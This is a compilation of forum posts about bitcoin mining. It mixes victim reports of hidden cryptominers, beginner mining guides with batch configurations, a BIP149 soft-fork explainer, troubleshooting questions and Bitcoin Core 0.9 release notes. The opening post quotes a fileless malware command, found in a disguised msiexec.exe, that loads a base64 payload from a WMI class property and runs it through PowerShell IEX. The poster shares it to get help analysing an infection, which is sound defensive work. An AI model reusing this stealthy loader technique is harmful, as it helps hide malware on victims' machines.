Deciphering Cmd command

Quick recap: SEP/EDR Sonar is flagging malicious script on a 2008 Server. Powershell is base64 encoded and runs in the background and bypasses execution policy. decoded part tries to kill xmrig a bitcoin miner among other things. I can't find where the script is running from. SEP, Malwarebytes, PowerEraser, Symdiag all comeback with nothing.
I am in the process of rolling back/rebuilding the server but I really want to solve this puzzle. I noticed msiexec is using 63% cpu fairly consistently. Looking more into it, its running out of C:\Windows\Panther and has the same sha256 as powershell. Submitted it to VT and Hybrid-Analysis, both say its powershell. Hybrid had a few suspicious findings but it still had a low score.
I did a dump of the running msiexec process and found the following command:
"C:\Windows\Panther\msiexec.exe" $WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))

I really think this might be the source, can someone help me decipher what that command is doing?

Keep Your Eyes Out For Bitcoin Miners | Windows (R) Contacts Import Tool [wabmig.exe]

Even though this is a specific case, hopefully it serves nonetheless as a reminder for those of you who sail the high seas. Check your GPU and CPU usage for any strange activity (Bitcoin miners), as sometimes scans from Windows Defender and even Malwarebytes can miss them.
Noticed your games and PC in general performing slowly lately? For me, it was a decrease in frames and stuttering exactly every second, for my friend it decreased her performance significantly and put her GPU usage up to 90% constantly.
It appeared as a process in Task Manager using 30% of my CPU: Microsoft (R) Contacts Import Tool. Upon killing it our GPU usage went down to idle and as did our CPU usage. Upon further investigation I found it as a file (wabmig.exe) in a folder called Windows Mail. Now here's the weird thing, it was in my Riot Games folder in AppData, right alongside League of Legends. The removal is fairly simple: kill the process and delete the folder (empty your recycle bin too!).
Now of course this just screams Bitcoin miner, so I scanned it with Malwarebytes and Defender... nothing. However, scanning it with VirusTotal revealed this. Here you can see an analysis of the entire Windows Mail folder we found. We had been installing things from the high seas, so to speak, so it most certainly came from that. I couldn't pinpoint which installer contained the miner but they were all fairly popular things. If you're flying the black flag, keep an eye on your usages.
I understand this might be a strange place to post something like this, and no, I'm not going to sit here and say "oh I didn't do anything dangerous" etc., however I've had a lot of experience at sea and yet I still got caught out. I think it's important for everyone to remember that Bitcoin miners can happen to even the more secure of us.
tl;dr - If your games have become sluggish out of nowhere, you could have a Bitcoin miner. Be safe when sailing the seven seas.
Edit: If anyone wants to disect the folder, PM me for a link to it. Just be careful obviously.
Edit 2: As a few people have suggested, Process Explorer is a great way to check your CPU and GPU usage.

Understanding BIP149, redeployment of Segwit with BIP8

I recently published BIP149 and would like to take a few moments to explain the details of this proposal.
BIP149 is a completely new deployment of segwit, which I propose if the current BIP9/BIP141/143/147 segwit deployment fails to lockin/activate by November 15th.
BIP149 cannot be run on mainnet now, and there is code in the reference implementation to prevent it from running. It is incompatible with the current segwit deployment on purpose to remove unnecessary complications.
Essentially, the idea is, if the current segwit deployment fails to activate by Nov 15th, we can release new software that has BIP149. This uses BIP8 to activate segwit by July 2018. Miners will still be able to trigger activation by 95% threshold signalling as normal. In the 8 months from November to July 2018, nodes will be able to upgrade to BIP149. If segwit is not MASF activated by July 2018, there will be enough of the economy running BIP149 that nodes can begin enforcement. What will actually happen is on the first retarget after July 4th, the BIP8 state machine will switch to LOCKED_IN status for two weeks, and then on the following retarget, ACTIVATION will occur. The rationale here is in 5 months we achieved 70% saturation of witness capable nodes, so by the time segwit timesout with all the urgency and demand people feel for segwit, we can expect them to upgrade at least as fast, if not much faster. I have spoken with a number of developers who think this is a reasonable assumption.
Background, I had hoped to be able to release a BIP that can be deployed concurrently now with segwit, but, there are various technical complications in implementing it cleanly and making it easily reviewable. I had various feedback from others in previous iterations and in order to get the widest support from developers especially concerned with predictable results and thus safety, I came to the conclusion that the BIP will get the widest support by not attempting any shortcuts and by removing all complexity. I know many people want segwit now, but, I think we should just bite the bullet and do it the BIP149 way. I already made a shortcut BIP with BIP148. I will discuss the pros and cons at the end.
Back to BIP149, this is a completely new redeployment with a new service bit NODE_UAWITNESS and new compact block protocol version - doing this avoids many gotchyas which I will explain below:
Currently, segwit capable nodes advertize the NODE_WITNESS service bit and preferentially peer with other NODE_WITNESS nodes. Post activation, segwit-active nodes will then know who they should relay witness blocks to and who they should relay old style stripped blocks to. The assumption is if I am a NODE_WITNESS node and segwit has activated, then other NODE_WITNESS nodes will also be segwit activated. We cannot reuse NODE_WITNESS because when BIP149 activates, they would believe non-BIP149 NODE_WITNESS nodes were also active. Using a new service bit, and effectively starting a new deployment as if the previous deployment doesnt exist, is the most predictable and trouble free way to go about it.
Additionally, BIP149 is compatible with existing mining software by reusing the "segwit" name and deployment chainparams (it's not possible to have two deployments with the same name, one expired and one pending/active, due to how versionbits is implemented). In short, if the current segwit deployment fails to activate, we can reuse parts to maintain compatibility, while changing the bare minimum to remove any conflicts with old nodes. It's clean, predictable and easy to review.
BIP148 IS NOT BIP149
Remember BIP148 is exceptional, it's NOT what a usual UASF BIP should look like. A normal UASF if effectively activation on a predetermined date in the future (a flag day). BIP8 combines BIP9 miner signalling with a flagday if MASF does not occur.
How is BIP149 different to BIP148? So BIP148 is a UASF which can be used in two ways. (a) The economy can run BIP148 and basically force miners to signal for segwit, thus activating the current segwit deployment. Or, (b) a majority of miners, 60% or so, could run it and censor other miners who do not signal segwit, thus causing the current segwit to deploy. In method (a) a chain split will occur if any miners do not upgrade, and given the fact there are always absentee miners and pool operators, this is quite likely. It's the economy vs hash power saying "if you dont signal, your blocks will not be worth anything because we will reject them". In the case of (b) you have a majority of hashpower, who could use their majority to orphan any non signalling miners. This isn't great but it's less disruptive than (a) because there is a majority hashpower definitely opted in.
BIP149 on the other had does not guarantee a chain split since that could only happen if a miner deliberately takes action to manually create a segwit invalid block, which would be rejected by the economy. The incentives are different also, with BIP148 a chainsplit comes for free, regardless of if it lasts long or not. In BIP149, a miner would have to specifically take action to split and waste their money, which they could do at any time anyway. BIP149 is uncontroversial in the sense it is just a redeployment with guaranteed activation at the end, for a soft fork we are fairly sure people want and will upgrade to. The evidence is everywhere. UASFs deployed over a long time and a decent flagday are perfectly safe - all soft forks are enforced by nodes, even if activation is triggered by hashpower.
Anyway, we've got 8 months from now to review and think about BIP149 - it cannot be deployed until November. If you would like to show support for BIP149, feel free to add the following to your bitcoin.conf
uacomment=UASF-SegWit-BIP149 
Note you can have multiple uacomments like:
uacomment=BIP8 uacomment=UASF-SegWit-BIP149 uacomment=UASF-SegWit-BIP148 
You can find the bitcoin.conf file here
You can also just add this to a shortcut - create a shortcut (or edit the existing one you use) and add this to the end: -uacomment=UASF-SegWit-BIP149
e.g. (just add the property to the end like this):
"C:\Program Files\Bitcoin\bitcoin-qt.exe" -uacomment=UASF-SegWit-BIP149 if you are using Windows.
You can also just add uacomments as multiple command line/shortcut arguments like
-uacomment=BIP8 -uacomment=UASF-SegWit-BIP149 -uacomment=UASF-SegWit-BIP148 
Then you can check here to see how your node is signalling at https://bitnodes.21.co/ will show something like: xxx.xxx.xxx.xxx:8333 /Satoshi:0.14.1(UASF-SegWit-BIP149)/
If your node has synced and doesn't show using the link above make sure to enable forwarding of port 8333 so you accept incoming connections (if you want to that is) - in your client: go into settings / network and tick enable incoming connections and use upnp. You might have to add it to your firewall if this doesn't work. [taken from this user comment].

[Free] [Guide] Kryptex BTC Miner! Best miner for beginners!

Kryptex is a perfect, lightweight bitcoin miner that I have used on and off over the past year now. I have only used it about a month in time total, accumulating over $30, and you can expect at least $30-$70 per month with a decent enough rig (https://i.imgur.com/LruixfG.png first and only withdraw of btc and my current balancehttps://i.imgur.com/qV8RWoX.png), last I had was $9 and I only remember running it for a couple days before turning it off and forgetting about it). I personally believe this is the best mining software for beginners or even novices, with such an easy setup that only takes minutes. Not to mention they have both a lite mode and and full mode depending on how hard you want your computer to run, or if you want to run the app in the background with games or videos. I have found it doesn't affect my system much if at all, and my specs are 16gb RAM, Ryzen 5 1600 and a 1060 6GB.
You're first brought into a benchmark after logging into your account (there is a warning about antiviruses producing false positives. https://i.imgur.com/6DEqB4l.png) but down below you can find an antivirus link with the full scan of the .exe. During the benchmark the program doesn't use much computer power, only about 10% cpu, <1000mb of ram and <5% GPU. Once the benchmark is you are free to check the app and see what it has to offer!
In the settings you're first greeted with an option for Starting with Windows and an option to enable or disable the use of the CPU. After that you are given a drop down that lets you choose the mode Kyrptex will run when on in the background, I recommend Lite Mode as it will be the best for your pc during use and you can leave the heavier loads for when your pc is sleeping or inactive. With only litemode you could expect anywhere from $5-$15 depending on your rig and load, I usually sit at about $7-$13 per month. You also have an advanced settings option giving you the option to disable/enable your cpus or gpus and which algorithms you'd like to use. From Dagger Hashimoto #1 & #2, CryptoNight, Cuckoo Cycle, X16R and their recently added Equihash 150, 5.
As a beginner miner, and someone who has tried only a few programs, my word of course isnt the best, but out of the select miners I've tried, I truly believe this is the best miner program, especially for beginners who are trying to test the waters out.

NiceHash versus MiningPoolHub Guide

NiceHash v. MultiPoolGuide - mods please sticky.
Hi everyone,
I have been seeing quite a few questions on this sub about NiceHash and MultiPoolHub, and which one is better. Since I have and currently use both, here is my analysis:
NiceHash is by far the easiest to use and get into mining. It benchmarks your GPUs and CPUs (if chosen) to figure out what algorithms would be the best to sell your hash power to buyers. In other words, people pay you using Bitcoin to have your system mine for them.
NiceHash charges a 4% pool fee for those who use their own wallets or 2% if you use NiceHash wallets - it should be noted that their wallet uses a sliding scale of withdrawal fees. If you don't make a whole lot of BTC, then it's best to use the external wallet due to a lower fee to receive your BTC.
NiceHash uses a Pay Per a Share method of payment. This is advantageous to miners, because the risk of not finding a block is distributed to the pool and will be paid for each share submitted. The fee also covers the expenses of the development of their nifty software interface, servers, staff, etc.
The disadvantage is when you take into account the high fees. NiceHash tends to use Claymore miner software which can take up to 2% more of your income as DevFees. This can total 6% of your income.
MiningPoolHub is an actual pool where you can mine various coins. It does not have any nifty easy to use interfaces like that of NiceHash, but they do have some software listed to help make algorithm switching easier. They also have simple auto-switching, which I personally use. You can set your Claymore Miner for example to mine both Ethhash and SiaCoin at the same time (please see batch script example below).
MiningPoolHub's fees are significantly less, .9%; if you use their auto-exchange feature it will be about 1.1%. Now what is cool about MiningPoolHub, is that you can get paid in any coin type they support (e.g. Bitcoin, Litecoin, Ethereum, et al). Please be aware though, certain coins like Bitcoin can have high withdrawal fees (e.g. .0003 BTC) and making their fees higher than NiceHash's, unless you can wait until you have .009 BTC at a minimum (the fees for other coins tend to be a lot less than Bitcoin). - so choose your payment type wisely. Don't forget that if you use Claymore, the DevFee still applies with MiningPoolHub as well; however their fee will still be less than NiceHash's, assuming you do your math right for the withdrawal settings.
A few personal notes: 1. Don't use NiceHash's client from NiceHash proper. I tend to find I can make more money using the NiceHash legacy miner, Alison known as Dillon's Fork. The NiceHash client from the site itself doesn't dual mine with the 1.7.x version and 2.x tends to be flakey with mixed brand GPUs. 2. MiningPoolHub hub's fee for withdrawing BTC is kinda high. So I would advise using Litecoin if you plan on cashing out via Coinbase for US residents, since you shouldn't directly mine Ethereum to Coinbase. 3. If you want to dual mine Ethhash (meaning using their simple auto-switching) and SiaCoin, please use my example batch script below, because for whatever reason their 20xxx port for SiaCoin doesn't seem to work and they don't really advertise this 17xxx port for Sia.
Claymore batch to dual mine Ethhash and Sia:
---- Begin batch, do not copy this line ------
setx GPU_FORCE_64BIT_PTR 0 setx GPU_MAX_HEAP_SIZE 100 setx GPU_USE_SYNC_OBJECTS 1 setx GPU_MAX_ALLOC_PERCENT 100 setx GPU_SINGLE_ALLOC_PERCENT 100
EthDcrMiner64.exe -epool us-east.ethash-hub.miningpoolhub.com:17020 -ewal username.workername -eworker username.workername -esm 2 -epsw x -allpools 1 -allcoins 1 -dpool stratum+tcp://hub.miningpoolhub.com:17022 -dwal username.siaworkername -dpsw x -dcoin sc
--------- End Batch, do not copy this line ---------
---- Don't forget to use -etha 1, if you have cards less than a 1050 Ti in performance, and mess around with -dcri valued to get the best results. I didn't include those flags, biecause I have no clue what you are using to mine with. Also, do not forget to set the default algorithm in the hub section to Ethhash and set whatever you named your Sia worker's name to, to SiaCoin or it may not be mining anything at all.
One other note, please change the stratum addresses to the ones most appropriate for your location.
Edit: grammar. I really shouldn't be posting with a few hours of sleep thanks to teething kids :-/

Bitcoin Mining Virus (w/Images) - Report and Questions:

Relevant Specs:
I have recently fallen victim to a virus which I BELIEVE is a bitcoin mining virus that was put on my pc. I don't know where it come from, and I don't know how much information you want, but let me try to describe it as best as I can.
I found a very sketchy idling process called smoker_bfg_1zcontrol.exe. This process is running at low usage, ~3,300kb and doesn't do much of anything. This was the first flag to me. After doing a google such for the name I turn up nothing, which typical just rando named viruses.
Now what really sets me off: Today I stepped out of my room while playing GW2 and noticed that my GPU usage was sitting at 99%. This struck my as horribly odd, that never happens. I sat down and moved my mouse and it went right back down. I checked MSI afterburner and saw that my GPU ran at 99% load for ~1m 20s. Finally, I knew something was fishy.
Before I get into the next part, let me add: This will not happen if I have task manager pulled up.
I pulled up resource monitor and let my machine idle again and I found this process that spiked up after smoke_bfg_1zControl chewed up some cpu. This odd process of course committed suicide immediately after I pressed print screen, but that's okay! Gotcha sucker.
Now, a final note, I ran MalwareBytes pro and decided I would do a full scan to see if anything showed up: I found this after the scan that was attached to that creepy .exe again!
I removed the found viruses, and I'm going monitor it to see if my problems resides, and I'll edit this post with my results, but I made this as a sort of PSA I guess, and just to see if anyone else thinks that my problems will be over, and if this is a bitcoin miner. I don't want people mining for coins I won't get!

[Update]: Fug, I was hacked.

The result of my malware scan, in particular the lines below, was very interesting. Obviously I can't tell if MalwareBytes is correct in flagging these. Some of them indicated "PUP.BitcoinMiner" which seems valid but others were marked as "Trojan.BitMiner.TS" or "PUP.Proxy.BCM" ... those may very well be valid downloads but I do know that MalwareBytes did not indicate ALL of the Bitcoin miners I had downloaded...

Bitcoining: a simple guide to get you started

Continuum pool is recommended over deepbit, read this post to use that instead. Instructions are virtually the same.
https://deepbit.net/
Sign up for an account. Choose proportional mode.
Download this and this and this.
First one you just extract. Second one is your mining program. Third one is your wallet where you keep track of all your bitcoins.
So you have a deepbit account, right? Well anyways after everything is extracted and installed open up your bitcoin.exe. There is a long string of text near the top in a box. That is your address. That is how you get paid and pay others. Copy that and then goto your account and paste it into the "Your bitcoin address for receiving rewards" box. Save settings.
Now go back to your account and click create worker. Set the worker's login tail to 0 and the password to anything you will remember. Leave payout as proportional and click save settings.
Open up GuiMiner. File>new other miner and navigate to where you extracted that third link(the one with 4 .exes). Select rpcminer-cuda.exe for your new other miner. Name it CUDA. In the guiminer tab for this new miner(the CUDA tab) set the server to other.
Host: pit.deepbit.net
Port: 8332
Username: [email protected]_0 you must add the _0
Password: The password of your created worker
Extra flags: Only needed for more than 1 graphics card, if this is true, read part 2
Go into guiminer and do file > save settings. Now click start mining. The number of MHash/s is completely dependent on your graphics card's power. I have 2 cards that get about 30 MH/s each. To check your mined coins go here.
Okay, so now just a bit of explaining. Your deepbit account is merely a holding place for your coins. To actually spend them you need to payout to your address. To do this goto your account and click the Payment link. You can only pay out if you have over 0.01 BTC. When you pay out it will appear in your bitcoin.exe, it takes a while the first time and every payment after that it is near instantaneous. Once it is in your bitcoin.exe congratulations, you now have bitcoins to spend. To spend them you just get the address of the person who you are sending them to then click the send button on bitcoin.exe, put in their address and the amount.
Also, goto C:\Users\USERNAME\AppData\Roaming\Bitcoin (if you're on windows7) and backup your wallet.dat file. That is your wallet. It has all of your money. Don't delete it.
Part 2, multiple graphics cards.
I have 2 graphics cards so setup took a bit more for me, if you have only 1 ignore this section.
Only a few things you need to do. Go to your deepbit account and click "create new worker". For worker login tail set it to 1. Set the password to something you will remember. Leave payment proportional. Save settings. Now go to your guiminer. In your original CUDA tab with your username as [email protected]_0 go into the extra flags and put in "-gpu=0". Now go to file>new other worker and choose the rpcminer-cuda.exe as before. Name it CUDA2. In the CUDA2 tab have the following settings.
Server: other
Host: pit.deepbit.net
Port: 8332
Username: [email protected]_1 must have the _1
Password: The password you set when you made the new worker on deepbit.
Extra flags: -gpu=1
So you end up with 2 tabs, a CUDA tab that has all the same settings except the email ends in _0 and the extra flags as -gpu=0 and a CUDA2 tab with the email ending in _1 and extra flags are -gpu=1.
File>save settings in guiminer and click start mining on both tabs.
A final piece of advice. This will use your GPU heavily, if you are gaming or anything else and notice that video is lagging go to the tray in the bottom right, find the GuiMiner icon and right click it and close it. Do not click stop mining in guiminer.exe. This always crashes my computer and will likely crash yours. Just close the program from the tray.

Keep Your Eyes Out For Bitcoin Miners | Windows (R) Contacts Import Tool [wabmig.exe] (x-post r/pcgaming)

Even though this is a specific case, hopefully it serves nonetheless as a reminder for those of you who sail the high seas. Check your GPU and CPU usage for any strange activity (Bitcoin miners), as sometimes scans from Windows Defender and even Malwarebytes can miss them.
Noticed your games and PC in general performing slowly lately? For me, it was a decrease in frames and stuttering exactly every second, for my friend it decreased her performance significantly and put her GPU usage up to 90% constantly.
It appeared as a process in Task Manager using 30% of my CPU: Microsoft (R) Contacts Import Tool. Upon killing it our GPU usage went down to idle and as did our CPU usage. Upon further investigation I found it as a file (wabmig.exe) in a folder called Windows Mail. Now here's the weird thing, it was in my Riot Games folder in AppData, right alongside League of Legends. The removal is fairly simple: kill the process and delete the folder (empty your recycle bin too!).
Now of course this just screams Bitcoin miner, so I scanned it with Malwarebytes and Defender... nothing. However, scanning it with VirusTotal revealed this. Here you can see an analysis of the entire Windows Mail folder we found. We had been installing things from the high seas, so to speak, so it most certainly came from that. I couldn't pinpoint which installer contained the miner but they were all fairly popular things. If you're flying the black flag, keep an eye on your usages.
I understand this might be a strange place to post something like this, and no, I'm not going to sit here and say "oh I didn't do anything dangerous" etc., however I've had a lot of experience at sea and yet I still got caught out. I think it's important for everyone to remember that Bitcoin miners can happen to even the more secure of us.
tl;dr - If your games have become sluggish out of nowhere, you could have a Bitcoin miner. Be safe when sailing the seven seas.

CUDAMiner Optimization Basics

I've posted this information a lot recently to new miners with NVIDIA cards. This subreddit seemed like the right home for it, and hopefully this is will serve as a helpful starting place to clarify the very basics and get people started.
As always, watch your GPU core temperatures closely. Lower hash rates correlate to lower operating temperatures. Play with these features to adjust your hash rate according to the load your GPU can handle. For example, one of my cards has better cooling than the other, so I run them at different hash rates to keep them both in the temperature range that I'm comfortable with.
Getting Started (Windows Environment):
  1. Download and install the latest NVIDIA Drivers.
  2. Download and extract the latest version of cudaMiner (SEE BITCOINTALK - CUDAMINER LINK BELOW) .
  3. Create a new text file in the same directory as cudaminer.exe (x32 or x64, depending on your system).
  4. Open text file and enter your configuration into the new batch file (See below for samples. Change settings to match your specific set-up):
  5. Change text file extension to .bat
  6. Execute batch file (not the executable).
  7. ???
  8. To exit, CTRL+C to break, wait, then Y to exit OR press the "Red X"; If the the command window closes immediately, add "pause" to the end of the batch script to view the error.
  9. If running x64 version, try x32 version and compare results.
  10. !!!
  11. Profit
Common Errors
Error Possible Cause
Command prompt window flashes and closes. Usually indicates bad syntax or attempting to launch executable. Review batch script settings. Add "pause" to end of batch script to view error.
Stratum Authentication Failed / "HTTP Request failed; No Error" Indicates connection issue. Review server address & user credentials.
Memory error / Result doesn't validate on CPU / Error 30 (Indicates launch configuration is invalid/not optimal. Change launch configuration flags. Update drivers.
"json_rpc_call failed" You are launching the executable; you cannot do this. Create and launch using batch script instead.
:::Sample Configurations (EDIT TO MATCH YOUR SPECIFIC CREDENTIALS & GPU SETTINGS) :::Single GPU ::SingleGPU.bat cudaminer.exe -i 1 -C 1 -m 1 -H 1 -l auto -o stratum+tcp://YOUR.POOL.ADDRESS:#### -O USER.WORKER:WORKERPW :::Multi GPU, Multi Command Prompt ::GPU0.bat (Address/Login for Standard Pool Mining, 1st GPU) cudaminer.exe -d 0 -i 1 -C 1 -m 1 -H 1 -l auto -o stratum+tcp://YOUR.POOL.ADDRESS:#### -O USER.WORKER:WORKERPW ::GPU1.bat (Address/Login for P2Pool Mining, 2nd GPU) cudaminer.exe -d 1 -i 1 -C 1 -m 1 -H 1 -l K4x32 -o stratum+http://YOUR.P2POOL.ADDRESS:#### -O WALLETADDRESS:ANYPW :::Multi GPU, Single Command Prompt ::DoubleGPU.bat cudaminer.exe -d 0,1 -H 1,1 -i 1,1 -l K3x9,K4x32 -C 1,1 -o stratum+tcp://YOUR.POOL.ADDRESS:#### -O USER.WORKER:WORKERPW 
Fundamental Flags:
  • FLAGS ARE CASE SENSITIVE
Setting -flag (Options) Description
cudaminer.exe N/A Call to execute cudaMiner
Specify Device -d (Any, counts from 0) Only for multi-GPU configurations: create multiple .bat files or use comma separated values.
Interactive Mode -i (0/1) When enabled, it reduces GPU utilization and hash rate to allow for computer use during mining
Enable Texture Cache -C (0/1/2) (Disabled, 1-D Caching, 2-D Caching) may increase or reduce hash rate, available according to your compute capability - check WIKI CUDA LINK BELOW
Memory Batching -m (0/1) Consolidates hash work into a single memory block and can lead to lower memory usage. Is implicitly enabled with Texture Caching.
Hash Parallel -H (0/1/2) (CPU Only, CPU Assist, GPU Only) determines how much work will be shared by the CPU. Defaults to GPU Only (2) if not specified.
Launch Configuration^ -l (auto/G/GBxW) Autotune, autotune for card generation, or specify particular setting. Defaults to autotune if not specified.
Server URL -o Address:Port Full URL of the mining server you wish to connect to.
Device Credentials -O User:Pass Username (or Username.Workername for pools) & password pair for the mining server for your device.
Debug-Benchmark Mode& -D --benchmark Verbose output to view block/warp chart and test a configuration.
  • NOTE ^ : This option is they key to tuning your hash rate and resulting GPU temperature. Choosing "auto" will enable autotuning, allowing cudaMiner to choose the best config. Choosing just "G," card generation code, will autotune for that specific card generation. "GBxW" is the specific setting you choose for the card where "BLOCK" is the row #, "WARP" is the Column number in autotune chart. Your BLOCKxWARP value should not exceed your maximum core configuration (WIKI GPU LIST BELOW), otherwise cudaMiner will crash/return error. For best results, the BLOCKxWARP value should be an exact multiple of your core config.
-For example NVIDIA GT 750M, Kepler card, row 4, column 32 is K4x32 (4x32=128). This is exactly 1/3 of and does not exceed the max core config of 384). 
  • NOTE & : Autotuning reported hashrates are not always accurate, but you can use the results in the benchmark table to choose the ballpark hash rate you desire. If you define a setting or allow it to complete the autotuning, it will then begin the benchmark and show you the average hashrate once you end the sesion (CTRL+C). Before closing the command prompt, you can scroll back up and save a screenshot of the block table. Type "Y" after ending to close the program. Remember to turn OFF the flag -D --benchmark after you are done. This is benchmark mode; cudaMiner will not connect to the pool until you remove this flag

Consistently getting the "Problem communicating with bitcoin RPC" error. Any suggestions?

I've tried a few different clients, but I always get the same sort of error. I know someone posted a day ago that had the same problem, but his solution didn't work for me. I've looked around the net for awhile for a solution, but nothing seems to fix it.
For simplicity's sake, I'll just describe my GUIMiner setup:
Server: Other
Website: n/a
Host: mtred.com
Port: 8337
Username: [username registered on mtred.com]
Password: [password for registered username on mtred.com]
Device: [0-0] ATI RV770 (it's an ATI 4870)
Extra flags: (nothing)
I've added the computer running the miner to my router's DMZ (running dd-wrt) so port access shouldn't be a problem. Anyone have any suggestions?
EDIT: Also, my firewall is disabled. Added "bitcoin.exe.", "guiminer.exe", and "poclbm.exe" to my Microsoft Security Essentials list of excluded processes. Still no dice :(
EDIT 2: Rawlsdeep solved my problem. I needed to create a worker on mtred.com and use my worker's credentials as my username and password for my mining program. Hopefully this will help someone else later on!

I have a problem with a file called lsmosee.exe in my c:\windows\help folder

Hello everyone, as the title read i have a problem with this lsmosee.exe file. For about a week now, Avira flagged this file as a bitcoin miner. The problem is that this file keeps coming back sometimes with the same name, sometimes with an extra "e" or "o" in the name. I tried looking it up on google but all i can find is a ton of what looks like sposored guide (i know this isn't clear but i don't know what else to describe it) to remove this file. I tried installing Bitdefender to analize the file and it said it wasn't a threat. I have to say that as for now this file didn't create any kind of issue but i wanted to make sure its not a real threat to my computer. Thanks to everyone for reading.

ESET not detecting or malwarebytes false detection?

So I found one issch.exe file located in a directory of Aegisub (subtitle download program) , right clicked and used ESET NOD32 to scan the file , nothing positive.
However , I used Malwarebytes (free) , scanned and they flagged the same file to be a bitcoin miner.
Any idea if ESET scans are missing out the impt stuff?

Bitcoin-QT 0.9 disponível para download

The Core Developers of Bitcoin released the 0.9.0 FINAL of Bitcoin Core (aka Bitcoin QT).
DOWNLOAD:
This is a Final Version, but its the same as 0.9.0rc3
Sources: https://github.com/bitcoin/bitcoin/releases http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.9.0/ https://bitcoin.org/bin/0.9.0/README.txt
Bitcoin Core version 0.9.0 is now available from:
https://bitcoin.org/bin/0.9.0/
This is a release candidate for a new major version. A major version brings both new features and bug fixes.
Please report bugs using the issue tracker at github:
https://github.com/bitcoin/bitcoin/issues

How to Upgrade

If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), uninstall all earlier versions of Bitcoin, then run the installer (on Windows) or just copy over /Applications/Bitcoin-Qt (on Mac) or bitcoind/bitcoin-qt (on Linux).
If you are upgrading from version 0.7.2 or earlier, the first time you run 0.9.0 your blockchain files will be re-indexed, which will take anywhere from 30 minutes to several hours, depending on the speed of your machine.
On Windows, do not forget to uninstall all earlier versions of the Bitcoin client first, especially if you are switching to the 64-bit version.

Windows 64-bit installer

New in 0.9.0 is the Windows 64-bit version of the client. There have been frequent reports of users running out of virtual memory on 32-bit systems during the initial sync. Because of this it is recommended to install the 64-bit version if your system supports it.
NOTE: Release candidate 2 Windows binaries are not code-signed; use PGP and the SHA256SUMS.asc file to make sure your binaries are correct. In the final 0.9.0 release, Windows setup.exe binaries will be code-signed.

OSX 10.5 / 32-bit no longer supported

0.9.0 drops support for older Macs. The minimum requirements are now: * A 64-bit-capable CPU (see http://support.apple.com/kb/ht3696); * Mac OS 10.6 or later (see https://support.apple.com/kb/ht1633).

Downgrading warnings

The 'chainstate' for this release is not always compatible with previous releases, so if you run 0.9 and then decide to switch back to a 0.8.x release you might get a blockchain validation error when starting the old release (due to 'pruned outputs' being omitted from the index of unspent transaction outputs).
Running the old release with the -reindex option will rebuild the chainstate data structures and correct the problem.
Also, the first time you run a 0.8.x release on a 0.9 wallet it will rescan the blockchain for missing spent coins, which will take a long time (tens of minutes on a typical machine).

Rebranding to Bitcoin Core

To reduce confusion between Bitcoin-the-network and Bitcoin-the-software we have renamed the reference client to Bitcoin Core.

Autotools build system

For 0.9.0 we switched to an autotools-based build system instead of individual (q)makefiles.
Using the standard "./autogen.sh; ./configure; make" to build Bitcoin-Qt and bitcoind makes it easier for experienced open source developers to contribute to the project.
Be sure to check doc/build-*.md for your platform before building from source.

Bitcoin-cli

Another change in the 0.9 release is moving away from the bitcoind executable functioning both as a server and as a RPC client. The RPC client functionality ("tell the running bitcoin daemon to do THIS") was split into a separate executable, 'bitcoin-cli'. The RPC client code will eventually be removed from bitcoind, but will be kept for backwards compatibility for a release or two.

walletpassphrase RPC

The behavior of the walletpassphrase RPC when the wallet is already unlocked has changed between 0.8 and 0.9.
The 0.8 behavior of walletpassphrase is to fail when the wallet is already unlocked:
> walletpassphrase 1000 walletunlocktime = now + 1000 > walletpassphrase 10 Error: Wallet is already unlocked (old unlock time stays) 
The new behavior of walletpassphrase is to set a new unlock time overriding the old one:
> walletpassphrase 1000 walletunlocktime = now + 1000 > walletpassphrase 10 walletunlocktime = now + 10 (overriding the old unlock time) 

Transaction malleability-related fixes

This release contains a few fixes for transaction ID (TXID) malleability issues:

Transaction Fees

This release drops the default fee required to relay transactions across the network and for miners to consider the transaction in their blocks to 0.01mBTC per kilobyte.
Note that getting a transaction relayed across the network does NOT guarantee that the transaction will be accepted by a miner; by default, miners fill their blocks with 50 kilobytes of high-priority transactions, and then with 700 kilobytes of the highest-fee-per-kilobyte transactions.
The minimum relay/mining fee-per-kilobyte may be changed with the minrelaytxfee option. Note that previous releases incorrectly used the mintxfee setting to determine which low-priority transactions should be considered for inclusion in blocks.
The wallet code still uses a default fee for low-priority transactions of 0.1mBTC per kilobyte. During periods of heavy transaction volume, even this fee may not be enough to get transactions confirmed quickly; the mintxfee option may be used to override the default.

GUIminer returning "Verification failed, check hardware" on HD 6870. BitMinters Client is working though.

I want to use GUIminer and more specifiaclly I want to use the poclbm kernel because it allows me to set the -f 60 flag, which allows me to play games (league of legends) while mining. However GUIminer returns:

I googled for a solution which said I should downgrade to CCC version 11.11, however this is not ideal since it would negatively affect my gaming experience. I also heard that BitMinter had a very easy to use client, so I decided to give that a shot. This client is indeed easy, as it immediatly worked! My work got accepted for the most part (5 stale out of 300+ proofs of work), however this is not the pool I want to mine in and the client does not allow me to set any parameters.
Anyone know a solution, obviously there are miners that could work with my card (BitMinter), but I did not find them yet. I tried GUIminer, Phoenix and CGminer.
PS: Please don't comment on whether mining is viable for me. I want to participate in Bitcoin mining with my gaming PC, my question is not about viability.

5830 w/ phoenix stuck at Connecting...

posted this on bitcoin forums but nobody responded... I'll try my friendly reddit counterparts!
Specs:
OS: Win7 64 Ult CPU: AMD 940 quad 3.0GHz RAM: 4GB DDR2 Vid: Sapphire 5830 Extreme 1GB OC: MSI Afterburner 970 core/ 500 mem Miner: GUIMiner 2011-07-01 using built in OpenCL with these flags: -v -w128 -f60 temps: easily under 70C with fan at least around 70-80%
manually did the 3% Ma-function patch to the appropriate kernels.
With this setup I get 285/295 Mhash/s which I don't think is too bad. However I can't seem to get phoenix to work. I tried at first just to setup a new miner and use the phoenix.exe that came with GUIminer, but all it does is say "Connecting..." and never gets connected. I tried replacing the phoenix related files with whatever is on github for 1.5 with the same results.
Any pointers on how I can get phoenix working to see if I get better hash rates for my current setup? Thanks
